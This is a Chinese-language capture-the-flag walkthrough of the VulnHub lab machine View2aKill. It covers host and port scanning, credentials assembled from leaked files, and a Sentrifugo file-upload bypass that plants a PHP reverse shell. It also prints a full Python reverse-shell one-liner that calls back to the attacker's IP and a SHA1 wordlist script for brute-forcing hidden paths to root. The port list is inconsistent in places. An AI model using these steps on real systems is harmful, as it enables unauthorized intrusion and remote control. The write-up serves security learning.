1.前言
本文仅用于技术讨论与研究,不做任何导向,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场,请勿在现实环境中模仿、操作。本文涉及到的工具仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。
2.准备工作
镜像下载地址:https://download.vulnhub.com/view2akill/View2aKill.ova。
难度:中等
文件下载完后,分别VMware导入,网卡1选择桥接模式,开启靶机
目标:获取/root/flag/flag.sh。
靶机IP:未知
本机kali IP:192.168.1.107
3.arp-scan主机发现
使用命令:
netdiscover -i eth0 -r 192.168.1.0/24
发现了局域网中存活的几台主机,IP:192.168.1.125是我们目标机器。
4.网络扫描
nmap -A -p- 192.168.1.125
编号 | 端口 | 服务 | 版本 |
---|---|---|---|
1 | 22 | ssh | OpenSSH 7.6p1 |
2 | 80 | HTTP | Apache httpd 2.4.29 |
3 | 25 | smtp | Postfix smtpd |
4 | 819 | http | PHP cli server 5.5 or later |
发现系统是linux,开放了21、25、80、8081端口,具体情况如下。
看看网站,浏览器访问:http://192.168.1.125
显示主页没什么东西。
5.目录扫描
dirsearch -u http://192.168.1.125
发现一些页面。/index.html是主面。/joomla/是一个视频。
http://192.168.1.125/dev/
下载解压e_bkup.tar.gz。发现一些文件。
在文件New_Employee_Onboarding_Chuck.rtf中发现登录及账号密码的信息。提示从HR管理门户登录,但是我们不知道路径在哪。用户名是chuck@localhost.com。密码是小写字体,密码来自R&D视频+ HID proxcard阅读器的传输频率。密码格式例子:facility007
在/dev目录下HID6005.pdf文件中查找frequency显示,transmit frequency为125kHz
在remote_control.gif中发现字符串HELICOPTER。
密码是字符串小写+transmit frequency。即账号chuck@localhost.com的密码是helicopter125。现在还不知道登录URL。继续查看扫描出来的目录。
http://192.168.1.125/pics/ 是图片和视频
/robots.txt。显示了一些信息。
访问http://192.168.1.125/zorin/
点击AQUISTIONS页面发现信息。
得知/sentrifugo 路径是登录界面。
使用账号密码chuck@localhost.com/helicopter125成功登录。
6.获取反弹shell
searchsploit sentrifugo #搜索是否存在漏洞
按照第三个,即47323.txt描述的手动验证这个文件上传漏洞。
#复制kali自带的php反弹shell
cp /usr/share/webshells/php/php-reverse-shell.php /home/kali/
#修改文件后缀
mv php-reverse-shell.php php-reverse-shell.php.doc
nc -vlp 4444 #监听本机端口,等待反弹shell连接
用burpsuit抓包,改包
把其中的php-reverse-shell.php.doc 修改为php-reverse-shell.php
application/msword 修改为 application/x-httpd-php
修改ip、port为kali的iP和监听端口。
burp放行到最后,获得反弹shell。
7.提权
python -c "import pty; pty.spawn('/bin/bash')" #转tty
在/home/jenny目录下发现压缩包dsktp_backup.zip
unzip dsktp_backup.zip #解压zip
发现两个文件
在passswords.txt文件中发现jenny的ssh账号密码。jenny/!!!sfbay!!!
#ssh连接到靶机,成功登录
ssh jenny@192.168.1.125
!!!sfbay!!!
在max目录下发现aView.py文件,jenny有读写执行权限,文件属于max,我们在其中写入反弹shell代码然后执行会获得max的权限。
#写入反弹代码到文件
echo "import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.107',5678));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" > aView.py
nc -vlp 5678 #本机监听5678端口
还是jenny用户,和ssh连接没区别。在note.txt文件中发现提示。8191端口存在隐藏路径。目录基于算法SHA1(lowercase alpha(a-z) + “view” + digit(0-9) + digit(0-9))生成。
写一个程序按照这个算法把所有可能的路径生成出来,然后把生成的路径作为字典,去爆破路径。
#字典生成代码
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import string
from hashlib import sha1
import requests
fuzz=[]
for alpha in string.ascii_lowercase:
for a in string.digits:
for b in string.digits:
payload= sha1((alpha + "view" + a + b + "\n").encode("utf-8")).hexdigest()
fuzz.append(payload)
file1 = open("directories.txt","w")
for i in fuzz:
file1.write(i)
file1.write("\n")
file1.close()
执行这个代码就得到字典文件directorys.txt,然后进行url爆破。
dirb http://192.168.1.125:8191 directories.txt
这个路径爆破的返回值有几类,分别尝试访问。最后发现返回大小最大显示Execute。
http://192.168.1.125:8191/7f98ca7ba1484c66bf09627f931448053ae6b55a
重新监听5678端口。然后点击执行。
成功获得root权限。
执行/root/flag/run_me_for_flag.sh获得flag权限。
8.结语
涉及信息收集,文件上传限制绕过,python代码编写,burp的简单使用。
最后请各位师傅斧正!!!